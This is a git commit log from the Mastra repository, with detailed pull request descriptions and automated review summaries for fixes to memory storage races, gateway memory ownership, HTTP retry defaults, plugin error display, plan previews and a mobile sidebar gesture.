[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.19
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.19
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.19
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.19
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.19
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.19

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 6am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend Renovate
CLI](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMzkuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjIzOS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWF0aW9uIl19-->

---------

Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-11-15 17:48:36 -08:00
Tyler Barnes
536faa6508
fix(mongodb): retire older live observational memory records when startup races a rollover (#30452)
MongoDB's startup cleanup could leave an extra observational memory
record live.

At startup, the store finds threads that have more than one live record
(older adapter versions never marked replaced records) and retires all
but the current one. A rollover first marks the current record as
replaced, then inserts the new one. If startup cleanup checked in
between, the thread showed only one live record, the older one, and was
skipped. Once the new record landed, both were live. Reads still picked
the right record, but writes aimed at the older id still landed on it
until the next startup.

Startup cleanup now also counts the record being rolled over, so the
thread is processed, the rollover is completed and the older record is
retired. There's no schema or API change.

## Test plan
- New test in `om-lifecycle-concurrency.test.ts` that pins the race: the
rollover marks the record just before cleanup's check and inserts the
new one just after. With the old code it fails 10/10 with two live
records; with the fix it passes.
- The existing randomized race test (25 races per run) passes 50/50 runs
with the fix. The window is rare locally: 0 of 50 runs failed on main.
- The observational memory lifecycle tests pass 26/26 against real
MongoDB 7. Typecheck, lint and formatting are clean.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When the database starts, it cleans up old memory records. A
timing bug could leave an old record active next to its replacement.
This change makes startup cleanup count the record that is being
replaced, so the old record gets retired.

## Summary

This change fixes a MongoDB startup-cleanup race in observational
memory. Cleanup could skip a thread when it ran after a record was
fenced for rollover but before its successor was inserted. The older
record then stayed live until the next startup.

## Changes

- `stores/mongodb/src/storage/domains/memory/index.ts`: The
duplicate-live-document aggregation in `#maintainSupersededBy` now
matches documents where `supersededBy` is null or `pendingSuccessor`
exists. A fenced head therefore counts as live during grouping. The code
comment explains the window.
- `.changeset/quiet-owls-roll.md`: Adds a patch changeset for
`@mastra/mongodb`.
-
`stores/mongodb/src/storage/domains/memory/om-lifecycle-concurrency.test.ts`:
Adds a deterministic test. It fences the head while the backfill groups
live documents. It then checks that the head has `generationCount` 2 and
is the only live record.

## Diff scope

Three files changed, with 47 lines added and 1 removed.

## Verification

The PR description reports these results. I did not run them.

- The deterministic test passes with the fix and fails 10/10 on the old
code.
- The randomized race test passed 50/50 with the fix. None of 50 runs
failed on main.
- Observational memory lifecycle tests passed 26/26 against MongoDB 7.
- Typecheck, lint, and formatting were reported clean.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-15 14:56:31 -08:00
Justin Levine
12f79652cf
feat(playground-ui): pick every remaining interface icon from Central Icons (#30438) 2026-11-15 14:36:09 -08:00
Tyler Barnes
1137e804e9
ci(test-tiers): retry a connection GitHub closes before responding (#30453) 2026-11-15 14:30:30 -07:00
Tyler Barnes
adc0a70bf8
fix(memory, couchbase): check semantic recall scope in Memory and warn on ignored Couchbase filters (#30446) 2026-11-15 14:29:24 -07:00
Tyler Barnes
d1d736db29
test(memory): pin attachment token counts in the #29851 image test (#30415) 2026-11-15 14:26:54 -07:00
mastra-platform[bot]
c8a35ac624
fix(memory): keep Observational Memory local when the gateway has no memory API (#30414)
> Opened by @abhiaiyer91

> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

## Summary

Keep Observational Memory local for agents using
`mastra/<provider>/<model>` with gateway organization keys
(`msk-gateway-*` and `mskv2_*`), because those keys do not provide
gateway-managed memory. Gateway project keys (`msk_*`) continue to use
gateway-managed memory. Finish an open local turn before switching to
gateway-managed memory.

Credential ownership checks report local memory only for models that are
not on the Mastra gateway. A credential the gateway cannot resolve —
including one it reports as missing — is thrown instead of read as local
ownership: guessing local ownership can cause both the gateway and local
store to persist the same thread, because the model call resolves the
same credential again. The Observational Memory processor also
propagates ownership-check errors. Older models that cannot report
gateway memory ownership retain their previous behavior.

Docs explain the gateway-key distinction and the paired `@mastra/core`
and `@mastra/memory` upgrade. Project keys routed BYOK or with gateway
memory disabled remain outside this change's scope.

## Verification (head `67ca1ea9c4`)

- Core gateway-memory predicate tests: 11/11; memory gateway ownership
and persistence tests: 14/14.
- Full `@mastra/memory` suite: 119 files, 2,680 passed, 1 todo; core LLM
suite: 45 files, 550 passed, 2 skipped.
- Core and memory TypeScript checks passed.
- Reverting only the two behavior files makes the new regression tests
fail (after `a0a4d3f6`: core 2 failed/8 passed, memory 2 failed/11
passed; after `1981f9ca`: core 2 failed/9 passed, memory 1 failed/13
passed), confirming the tests detect the bug.

Fixes #30391

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Mastra has two kinds of gateway keys. One kind lets the gateway
save chat memory. The other kind does not. This change makes Mastra save
and recall chat messages locally when the gateway does not save them.

## Summary

This change fixes memory loss for agents that use a
`mastra/<provider>/<model>` model. Before this change, `@mastra/memory`
skipped local Observational Memory (OM) and message persistence for
every `mastra/` model. Messages were then not saved, and the agent could
not recall earlier turns.

The change decides gateway memory ownership by key type:

- Gateway project keys (`msk_*`) use gateway-managed memory.
- Gateway organization keys (`msk-gateway-*` and `mskv2_*`) use local
OM.
- Models that cannot report ownership keep their previous behavior.

Gateway-managed memory is not active when a project key routes to a BYOK
provider or when gateway memory is disabled. The docs describe this
distinction.

## Changes by area

**`@mastra/core`**
- `packages/core/src/llm/model/gateways/mastra.ts`: adds
`gatewayServesObservationalMemory(apiKey)`. It returns `false` for
missing, non-string, or empty keys and for `msk-gateway-` and `mskv2_`
keys. It returns `true` only for `msk_` keys.
- `packages/core/src/llm/model/gateways/index.ts`: re-exports
`gatewayServesObservationalMemory`.
- `packages/core/src/llm/model/router.ts`: adds
`ModelRouterLanguageModel.isGatewayMemoryManaged(): Promise<boolean>`.
It returns `false` for non-Mastra gateways. For Mastra gateways, it
resolves the route and auth, then checks the API key.
Credential-resolution errors propagate to the caller.

**`@mastra/memory`**
- `packages/memory/src/processors/observational-memory/processor.ts`:
uses `isGatewayMemoryManaged()` when the model provides it. If the model
does not provide it, the code falls back to the `mastra/` prefix check.
The result is stored per step.
- For gateway-managed input, the processor ends any open local turn and
skips local processing.
- For gateway-managed output, the processor ends any open local turn
before it returns.
- If ending a turn fails, the processor persists the unsaved messages
directly when possible. It then rethrows the original error.
- Context-overflow recovery remains skipped for gateway-managed memory.
- Ownership-check errors propagate. The processor does not treat them as
`false`.

**Documentation and changesets**
- `docs/src/content/en/docs/memory/observational-memory.mdx`: adds a
"Gateway models" section.
- `docs/src/content/en/models/gateways/mastra.mdx`: explains the key and
routing conditions for OM.
- `.changeset/tidy-geese-report.md`: minor bump for `@mastra/core`.
- `.changeset/wild-pumas-recall.md`: patch bump for `@mastra/memory`. It
tells users to upgrade `@mastra/core` and `@mastra/memory` together.
Older `@mastra/core` versions do not report ownership, so
`@mastra/memory` keeps its previous behavior for them.

**Tests**
- `packages/core/src/llm/model/router-gateway-memory.test.ts`: covers
project and organization keys, explicit-key precedence over the
environment key, models served by another gateway, credential lookup
errors, and lookups that fail once and then succeed.
- `packages/memory/src/gateway-memory-persistence.test.ts`: end-to-end
tests with real agent, router, memory, and in-memory storage.
Organization keys store messages and recall them. Project keys store no
messages locally. A failed ownership lookup rejects generation and
stores no assistant text.
-
`packages/memory/src/processors/observational-memory/__tests__/gateway-skip.test.ts`:
covers ownership results, legacy `gatewayId: 'mastra'` behavior,
rejected checks, and ownership changes during a run. It also covers
drain storage failures.

## Compatibility

- The change needs paired `@mastra/core` and `@mastra/memory` releases.
An older `@mastra/core` cannot report gateway memory ownership.
- Models that cannot report ownership keep the previous behavior.

## Testing

The following results are reported by the PR author. They were not
verified in this review, and no CI results were available.

- Core gateway-memory predicate tests: 10 of 10 passing.
- Memory gateway ownership and persistence tests: 13 of 13 passing.
- Full `@mastra/memory` suite: 119 files, 2,679 passed, 1 todo.
- Core LLM suite: 45 files, 549 passed, 2 skipped.
- Core and memory TypeScript checks: passing.
- The author reports that reverting the two behavior files makes the new
regression tests fail.

## Linked issue

Issue `#30391` reports that gateway-model messages are not saved or
recalled. The issue asks that messages be saved and recalled, or that
local processing be skipped only when gateway-side memory is active.
This change follows the second option for organization keys. It keeps
local processing for those keys. It skips local processing only for
project keys that the gateway manages.

The issue also reports a separate 422 error on the OpenAI-compatible URL
workaround. This change does not address that error.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform <284800079+mastra-platform@users.noreply.github.com>
2026-11-15 12:00:06 -08:00
Tyler Barnes
c51c601813
ci(test-tiers): retry gh api calls on transient GitHub errors (#30451)
## What

The daily test-tier updater (`scripts/test-tiers/update.mjs`) calls `gh
api` for every failed PR run, job log and compare in its 14-day window.
The helper made each call exactly once, so a single GitHub server error
ended the whole update. The scheduled run has failed this way on both
days since tiers went live, most recently on one `HTTP 502`.

This wraps every `gh api` call in a retry:

- Retries GitHub 5xx and 429 responses, rate-limit errors, and dropped
or timed-out connections, waiting 5, 20 and 60 seconds between tries.
- Fails at once, as before, on errors that won't change on retry: 404,
422, permission 403, unknown flags.
- Repeats a paginated call from the start, so pages from two attempts
are never mixed.
- After the last try it throws the original error. The run fails and
writes nothing, as it does today.

## Testing

- New `node:test` cases drive the retry with a stand-in `gh` executable
that fails like the real one: recovers after one 502, gives up after
four 503s, doesn't retry a 404 or an unknown flag, and classifies a
table of transient and permanent errors.
- End to end with a fake `gh` that returns 502 on the first call:
before, `update.mjs daily` exits 1 after one call and leaves the tier
file unchanged. After, it retries, exits 0 and updates the tier file.
- `node --test scripts/test-tiers/*.test.mjs`: 53 passed. oxfmt and
oxlint clean.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The daily job that updates test tiers calls GitHub. GitHub
sometimes fails for a short time, and the job then stopped. This change
makes the job wait and try again for those short failures. Errors that
do not go away on their own still stop the job at once.

## Summary

This PR adds retry logic to each `gh api` call in
`scripts/test-tiers/update.mjs`.

### Changes in `scripts/test-tiers/update.mjs` (+32/-1)

- `isTransientGhError(error)` classifies a failed call as retryable. It
checks `stderr` and `message` for these indicators:
  - HTTP 5xx and HTTP 429
  - rate limit
  - timeout (`timed out`, `timeout`, `time out`)
  - `ETIMEDOUT`, `ECONNRESET`, `ECONNREFUSED`, `EAI_AGAIN`
  - `connection reset`, `unexpected EOF`
- `GH_RETRY_DELAYS_MS` is `[5_000, 20_000, 60_000]`.
- `retryTransient(fn, delays, sleep)` calls `fn`. If `fn` throws a
transient error, it logs a warning, waits, and calls `fn` again. It
allows one initial call and three retries. After the last retry, it
throws the original error. A non-transient error throws at once.
- The wait uses `Atomics.wait`, so it blocks the process synchronously.
- The `gh` wrapper runs each `gh api` call through `retryTransient`. A
`--paginate` call restarts from the first page on each retry. This
prevents mixing pages from two attempts.

Errors such as 404, 422, 403 permission errors, and unknown flags do not
match the classifier. These errors fail immediately.

### Tests

- `scripts/test-tiers/update.test.mjs` (+89/-0, per the change summary)
adds tests for retry timing, retry exhaustion, immediate failure for
permanent errors, and the transient and permanent classifications. I did
not inspect this file.
- The PR author reports these results. I did not run them:
- An end-to-end run with a fake `gh` that returns 502 on the first call
now retries, exits with status 0, and updates the tier file. Before the
change, it exited with status 1 and left the file unchanged.
  - `node --test scripts/test-tiers/*.test.mjs` passed 53 tests.
  - oxfmt and oxlint reported no issues.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-15 11:48:35 -08:00
Tyler Barnes
4224ee32d3
fix(code-sdk): show plugin signal provider startup failures in the TUI (#30428)
## Summary

Plugin signal providers start while Mastra Code boots, before the TUI
subscribes to plugin errors. A provider whose `start()` failed then
reached only `console.warn`, printed before the UI took over the
terminal, so the user never saw it. Reload failures already show in the
session (#30412); startup failures now do too.

- `PluginManager` keeps the most recent errors (up to 20) reported while
nobody listens and hands them to the first `onPluginError` listener when
it subscribes. They still go to `console.warn` when reported, so
headless embedders keep their trace. Later listeners only receive new
errors.
- The TUI subscribes once the startup thread is on screen, because
rendering it clears notices shown earlier. Errors reported before then
are held by the manager.

## Testing

- New TUI E2E `plugins-signal-provider-start-failure`: boots with a
local plugin whose signal provider's `start()` rejects and waits for the
error on screen. It fails without the change.
- New `PluginManager` tests: errors reported before anyone listens reach
the first listener once, and only the most recent 20 are kept.
- Ran `manager`, `signal-lane`, `loader` and SDK `index` tests, the
plugin E2E scenarios (start failure, reload failure, hot reload, GitHub
poll update, local tool), and `tsc` for `@mastra/code-sdk` and
`mastracode`.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Some plugins can fail when they start. Before this change, the
error only printed in the console, so users could miss it. Now the app
keeps those early errors and shows them in the chat screen once the
screen is ready.

## Overview

This change shows plugin signal provider startup failures in the Mastra
Code TUI. A provider can fail before the TUI subscribes to plugin
errors. Before this change, those failures appeared only through
`console.warn`, which prints before the UI takes over the terminal.

## Changes

- **`PluginManager` (`mastracode/sdk/src/plugins/manager.ts`)**
- Retains up to 20 plugin errors reported when no listener is
subscribed.
  - Evicts the oldest error when the limit is exceeded.
- Delivers the buffered errors to the first listener that subscribes,
then clears the buffer.
  - Sends each error to `console.warn` when it is reported.
  - Sends later listeners only new errors.
- Catches and logs listener exceptions separately, so one failing
listener does not stop notification of the others.

- **TUI (`mastracode/tui/src/tui/mastra-tui.ts`)**
- Moves the plugin error subscription in `init` to after existing
messages and tasks render.
- Subscribes only when a plugin manager exists and no listener is
already registered.
- Returns from `init` without subscribing if the TUI stops while the
startup thread renders.
  - Shows each plugin error through `showError`.
- Subscribes after rendering because rendering clears earlier notices.
Buffered startup errors then reach the listener and appear on screen.

- **Tests**
- `mastracode/sdk/src/plugins/__tests__/manager.test.ts` adds tests for:
    - Warning immediately on report.
    - Queuing the error for the first listener.
    - Delivering the error once to that listener.
    - Retaining only the latest 20 errors while no listeners exist.
- `mastracode/tui/src/tui/__tests__/mastra-tui-init-stop.test.ts` adds
tests for `MastraTUI` init and stop:
- Normal init subscribes to plugin errors and starts the update-check
timer. `stop()` clears the timer.
- If `stop()` runs during startup rendering, init does not subscribe to
plugin errors, does not call `checkForUpdate`, and leaves no
update-check timer.
- `mastracode/tui/e2e/tui/plugins.ts` adds the
`pluginsSignalProviderStartFailureScenario` E2E scenario. The scenario
creates a local plugin whose signal provider throws `e2e provider start
broke` during startup. It waits up to 10 seconds for the startup-failure
message in the TUI.
- `mastracode/tui/e2e/tui/index.ts` registers the scenario as
`plugins-signal-provider-start-failure`.
- `mastracode/tui/e2e/tui/types.ts` adds
`'plugins-signal-provider-start-failure'` to the `ScenarioName` union.

- **Changesets**
- `.changeset/plugin-errors-before-listener.md` declares a patch for
`@mastra/code-sdk`.
- `.changeset/plugin-startup-failure-notice.md` declares a patch for
`mastracode`.

## Public API

No exported declarations change. The only declaration change is the
`ScenarioName` union in the E2E test types.

## Scope

- 9 files changed.
- 254 lines added and 14 lines removed.

## Validation

The PR objectives report these runs. This summary did not rerun them,
and no CI results were inspected:

- New `PluginManager` tests for first-listener delivery and the 20-error
limit.
- The `manager`, `signal-lane`, `loader`, and SDK `index` tests.
- Plugin E2E scenarios for start failure, reload failure, hot reload,
GitHub poll update, and local tool.
- `tsc` for `@mastra/code-sdk` and `mastracode`.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-15 10:59:42 -08:00
mastra-platform[bot]
b666fdbf03
fix(client-js): stop retrying state-changing requests by default (#30434)
> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

The JavaScript client retried every HTTP method the same way, so a
`POST`, `PUT`, `PATCH`, or `DELETE` that hit a server error was silently
re-sent up to four times. When the server had already committed the work
before failing, that replay duplicated side effects — agent generations,
workflow starts, and similar writes.

`BaseResource.request()` now resolves retries by method: `GET`, `HEAD`,
and `OPTIONS` keep the default of three attempts, while every other
method is attempted once unless the caller opts in with an explicit
`retries` count on the client or the call. Requests that pass no method
keep the previous read behavior.

Four observability queries only read server state even though they
travel as `POST`, so `aggregateTraces()`, `aggregateSpans()`,
`queryTraceThreads()`, and `querySpans()` keep the read default. An
explicit `retries` on the client still wins.

**Approved** — head `a2e46c41b1` (branch
`factory/issue-30404-3ca17cc5ca80`, base `5b7f1302`).

### Checks on this head

| Check | Result | Tests |
| --- | --- | --- |
| `@mastra/client-js` tests + typecheck (`npx vitest run`) | ✅ Passed |
910 passed across 48 files; typecheck no errors |
| Type-aware lint (`npx oxlint --type-aware .`) | ✅ Passed | 0 warnings,
0 errors |
| New tests on base code | ✅ Catches the bug | 4 of 4 write cases fail
on base, pass on head |
| Independent reproduction through the public client API against a real
500 server | ✅ Passed | base repeats POST/PATCH/PUT/DELETE and
`agent.generate` 4× each; head sends each once, GET still 4×, opt-in
counts unchanged |
| Changeset package validation | ✅ Passed | `@mastra/client-js` patch
accepted |

### Follow-ups

- `queryTraces()` is the one read-style `POST` left on the
single-attempt default
(`client-sdks/client-js/src/resources/observability.ts:338`). The four
queries the review named keep the read default, so the `@mastra/react`
hooks that pin React Query `retry: false` on them
(`client-sdks/react/src/hooks/traces/use-trace-aggregate.ts:30`,
`use-span-aggregate.ts:29`, `use-query-spans.ts:64`,
`use-query-threads.ts:67`) still get the client retry.
- `client-sdks/react/src/hooks/traces/use-trace-aggregate.ts:17` and
`use-span-aggregate.ts:16` say "the client already retries server
errors", which holds again for these endpoints on head `5ba90bf1`, so
those comments need no change.
- `docs/src/content/en/reference/client-js/observability.mdx:523` still
recommends `{ retries: 0, anchorRetryTimeoutMs: 0 }` for PUT feedback
replacement; `retries: 0` is now the PUT default, so only the
`anchorRetryTimeoutMs: 0` half still matters.

### Adversarial check

Most damaging reading — that this silently strips the only retry layer
from shipped `@mastra/react` observability queries and breaks the
contract those hooks document — fails on the evidence: the loss is
limited to read-style POST endpoints and is the method-based gating the
issue asked for, those hooks live in a package the approved plan scoped
out, and self-review treats adjacent hardening as a follow-up rather
than a blocking finding.

### Follow-up commit

`5ba90bf15a` adds the fix for the review
finding above: the four read-only observability queries pass `retries:
this.readRetries()` (new `BaseResource` helper, explicit client
`retries` wins), 5 new tests fail on `a2e46c41` and pass here, and the
playground-ui metrics tests that the write-only default broke pass
again.

Fixes #30404

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The JavaScript client used to resend failed requests up to three
times, even for actions that change data, like creating or deleting
things. Now, only read requests are retried by default. Change requests
are sent once unless the developer asks for retries.

## Summary

This pull request changes the default retry behavior of
`BaseResource.request()` in `@mastra/client-js`. The change stops
implicit retries of state-changing requests after a server error. A
server error does not show whether the server applied the change before
it failed, so a retry can repeat a side effect.

## Behavior change

- `GET`, `HEAD`, and `OPTIONS` keep the default of three retries.
- `POST`, `PUT`, `PATCH`, `DELETE`, and any other unrecognized method
send one attempt by default.
- Requests without a method use `GET`, so they keep the read-style
default of three retries. The method is normalized to upper case before
the lookup.
- An explicit `retries` value on the request overrides the client-level
value. The client-level value overrides the method default.
- Existing validation of the retry count is unchanged. A non-negative
safe integer is still required.
- Four read-only observability queries use `POST`: `aggregateTraces`,
`aggregateSpans`, `queryTraceThreads`, and `querySpans`. These queries
keep the read-style default of three retries. They do not follow the
write default.

## Implementation

- `client-sdks/client-js/src/resources/base.ts`:
- Adds a default of three retries for read methods and a set of read
methods (`GET`, `HEAD`, `OPTIONS`).
- Resolves retries in this order: request-level value, then client-level
value, then the method default. Other methods default to zero.
- Adds a protected `readRetries()` helper. It returns the
client-configured retry count, or three when none is set.
- `client-sdks/client-js/src/resources/observability.ts`: The four
observability queries listed above pass `readRetries()` as their retry
count. `aggregateTraces` still forwards its optional abort signal. The
other three calls do not add a signal option.
- `client-sdks/client-js/src/types.ts`: Updates the JSDoc for
`ClientOptions.retries` and `RequestOptions.retries`. The docs state the
read-only default. They also state that a per-request count overrides
the client count and enables retries for writes. Declarations are
unchanged.
- `client-sdks/client-js/src/resources/base.test.ts`: Adds 52 lines of
tests. The tests cover:
- One attempt for `POST`, `PATCH`, `PUT`, and `DELETE` after a 500
response, with no retry count configured.
  - Three attempts for read methods.
- Explicit client-level and request-level retry counts that enable
retries for writes.
- `client-sdks/client-js/src/resources/observability.test.ts`: Adds
tests that the four observability queries make four fetch attempts after
a server error. Adds tests that `retries: 0` on `aggregateTraces` limits
the request to one attempt. Moves the thread-query and span-query
request fixtures into their `describe` scopes. Payloads are unchanged.
- `client-sdks/client-js/src/resources/agent.client-tools.test.ts`:
Removes a mocked continuation response from one streaming test. The test
expects no recursive request.
- `.changeset/witty-wolves-write-once.md`: Adds a patch changeset for
`@mastra/client-js`.
- `docs/src/content/en/docs/server/mastra-client.mdx` and
`docs/src/content/en/reference/client-js/mastra-client.mdx`: Document
the per-method default. The reference page changes the `retries` default
to `3 for read requests, 0 for write requests`. The server page notes
that the listed observability queries keep the read default.

## Diff scope

The diff covers 9 files, with 200 insertions and 53 deletions. Six files
are in `client-sdks/client-js`, with 190 insertions and 51 deletions.
The changeset and two docs files make up the rest.

## Verification

The PR author reports that `npx vitest run` passed 910 tests across 48
files, with no typecheck errors. The author also reports that type-aware
lint and changeset validation passed. These results come from the PR
description. This summary did not rerun them.

## Notes

- The PR description lists `@mastra/react` hooks that use observability
POST endpoints as a follow-up. Hooks that set `retry: false`, and two
hook comments, may describe retry behavior that no longer applies. This
summary did not verify those files.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-15 10:55:47 -08:00
Tyler Barnes
54708eccf8
fix(mastracode): stop startup once the TUI is stopped part-way (#30431) 2026-11-15 11:14:10 -07:00
mastra-platform[bot]
0e4ccf0c03
fix(factory): show checkout-scoped plans in approval cards (#30436)
## Summary
- Allow approved `.artifacts` roots inside a repository checkout to be
listed and read by the session workspace routes.
- Resolve submitted absolute plan paths against the matching checkout
root in the approval card, while retaining path and symlink guards.
- Cover multi-repository plan reads, unsafe symlink targets, and
disabled approval when a plan cannot load.

## Test plan
- `cd mastracode/factory && npm exec -- vitest run
src/routes/fs.test.ts` (66 passed)
- `cd mastracode/factory && npm run check`
- `cd mastracode/factory-ui && npm exec -- vitest run
src/hooks/__tests__/use-fs.msw.test.tsx
src/ui/domains/chat/components/__tests__/SubmitPlanCard.msw.test.tsx`
(38 passed)
- `cd mastracode/factory-ui && npm run typecheck`
- Type-aware Oxlint and Oxfmt checks on changed files

Ref #30361

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Factory lets a user review a plan before approving it. Before
this change, a plan stored inside one code project of a multi-project
session could not be opened for that review. This change lets the app
open those plans safely, and keeps the safety checks against unsafe file
links and ignored files.

## Summary

This change lets Factory show plan previews for plans inside a
repository checkout in a multi-repository session. It has three parts:

- **Server routes (`mastracode/factory/src/routes/fs.ts`):**
- Rendered-root approval also accepts a repository-specific
`<repo-prefix>.artifacts` root when the session has repositories.
- Session rendered-path listing resolves the sandbox layout before it
validates the root.
- Session file reads treat paths under a repository's `.artifacts`
directory as trusted. Other paths still go through ignored-file checks.
- **Path handling (`mastracode/factory-ui/src/hooks/use-fs.ts`):**
- `isPlanReadablePath` accepts `.artifacts/...` paths at the workspace
root or under one checkout directory prefix. It rejects paths that
contain `..`, backslashes, or NUL characters.
- `normalizePlanPath` takes a new optional `root` argument. The default
is `.artifacts`.
- `normalizePlanPath` returns relative paths unchanged. It rewrites
absolute paths under `rootPath` to the given root. It returns
`undefined` for other relative paths, malformed input, absolute paths
when the root is missing, and absolute paths outside `rootPath`.
- The `planFileUrl` comment now describes the session file route as
supporting `.artifacts` paths at the workspace root or inside a
repository checkout.
- **Approval card (`SubmitPlanCard.tsx`):**
- When an absolute plan path cannot be normalized against the workspace
`.artifacts` root, the card lists the checkout-specific `.artifacts`
directory. It derives the checkout name from the
`/<checkout>/.artifacts/<file>` path pattern.
- The card uses that listing's root to normalize the path. Its pending
state counts toward loading.
  - Loading no longer requires the initial listing to be error-free.

## Tests and changeset

- `use-fs.msw.test.tsx` adds `normalizePlanPath` cases.
Checkout-relative `.artifacts` paths pass through when the rendered root
is unknown. An absolute path under the checkout normalizes to the
checkout-relative path when the root and checkout prefix are given.
- `SubmitPlanCard.msw.test.tsx` adds a test for a plan submitted from a
checkout. It checks that the rendered-list lookup includes
`mastra/.artifacts`. It checks that the plan is fetched with the
workspace path and the normalized relative path. It checks that
rejecting the plan sends the original absolute path, the title, and the
body.
- `fs.test.ts` adds live-session tests. They check that listing and
reading `mastra/.artifacts` returns the plan file. They check that an
unrelated repository's rendered root is rejected. They check that an
artifact symlink to the checkout's `.env` file is refused. They also
check that a symlinked checkout is unavailable when listing rendered
artifacts.
- `.changeset/factory-checkout-plan-preview.md` adds a patch changeset
for `@mastra/factory`. It declares no public API changes.

## Public API

No exported declarations are changed in the raw summary, except that
`normalizePlanPath` gains an optional third parameter (`root =
'.artifacts'`). Existing two-argument calls keep their behavior.

## Scope

7 files changed, +144 / −30 lines.

## Verification

The author reports these results. They were not re-run against the
current head for this summary:

- `mastracode/factory`: `fs.test.ts`, 66 passed. `npm run check` was
run.
- `mastracode/factory-ui`: the two MSW test files, 38 passed. `npm run
typecheck` was run.
- Type-aware Oxlint and Oxfmt checks on the changed files.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-15 10:03:56 -08:00
Damien Schneider
cac6299ae0
feat(playground-ui): reveal the mobile sidebar from under the page (#30440)
**─────── TLDR ───────**
> On phones, the page now slides aside to reveal the sidebar underneath
it.

`takeover`, the default mobile mode of `Sidebar`, was a drawer covering
the page. Now the `AppShell` content is the layer that moves, and the
sidebar stays fixed below it, scaling up from 95% as it shows. It all
lives in playground-ui, so Studio and Factory get it through `AppShell`
with no change on their side.

### Behavior changed

Opening navigation on a phone
&nbsp;&nbsp;├─ **was** — a drawer slid over the page, with a floating
close button
&nbsp;&nbsp;└─ **now** — the page slides right and the sidebar shows
underneath

Swiping the page
&nbsp;&nbsp;├─ **was** — only the open drawer could be swiped shut
&nbsp;&nbsp;└─ **now** — right opens, left closes, the page tracks the
finger both ways

Letting go mid-swipe
&nbsp;&nbsp;└─ **new** — finishes the way you last moved; under 40px it
springs back

Navigation open
&nbsp;&nbsp;├─ **new** — a tinted, framed strip of page: tap it, swipe
it, or press <kbd>Esc</kbd>
&nbsp;&nbsp;└─ **new** — <kbd>Tab</kbd> and
<kbd>Shift</kbd>+<kbd>Tab</kbd> cycle inside the sidebar; the page and
toasts are out of reach until it closes

Resizing the sidebar on desktop
&nbsp;&nbsp;└─ **unchanged** — same widths; the live value is now set on
the panel

### Decisions

- **drag progress in non-inherited properties on the three moving
layers** — a scope variable restyled the whole page per touchmove,
2.16ms against 0.21ms
- **live `--sidebar-width` on the panel, not the scope** — same restyle
cost per desktop resize frame; every reader in this repo sits inside the
panel
- **past 40px, release follows the last direction moved, not "past
halfway or a fast flick"** — halfway sent a slow close bouncing back
open; one line in `release` to revert
- **the open reveal makes everything outside itself inert, not
`AppShell` its own content** — also covers toasts and portals mounted
outside `AppShell`, and removing the sidebar while it's open can't leave
the page stuck inert

### Watch

> [!WARNING]
> The gesture only moves elements marked as reveal layers, and only
`AppShell` marks the page. <mark>A `takeover` sidebar outside `AppShell`
has no page to slide</mark>: wrap it in `AppShell` or pass
`mobileMode="drawer"`, like the agent builder does. The changeset spells
this out.

### Not verified

- [ ] real iOS Safari and Android Chrome, including iOS's edge
back-swipe against swipe-to-open: checked only in Chromium and WebKit
with synthetic touches, and in DevTools touch emulation
- [ ] the platform app: not in this repo, so I couldn't check it renders
the sidebar inside `AppShell`
- [ ] one emulator run right after page load lost `touchend` and left
the page mid-drag; two reruns didn't reproduce it

---

> ███████████████████ **source** `+493 −42` — half of it the gesture
hook
> ████████████ **tests** `+322 −7`
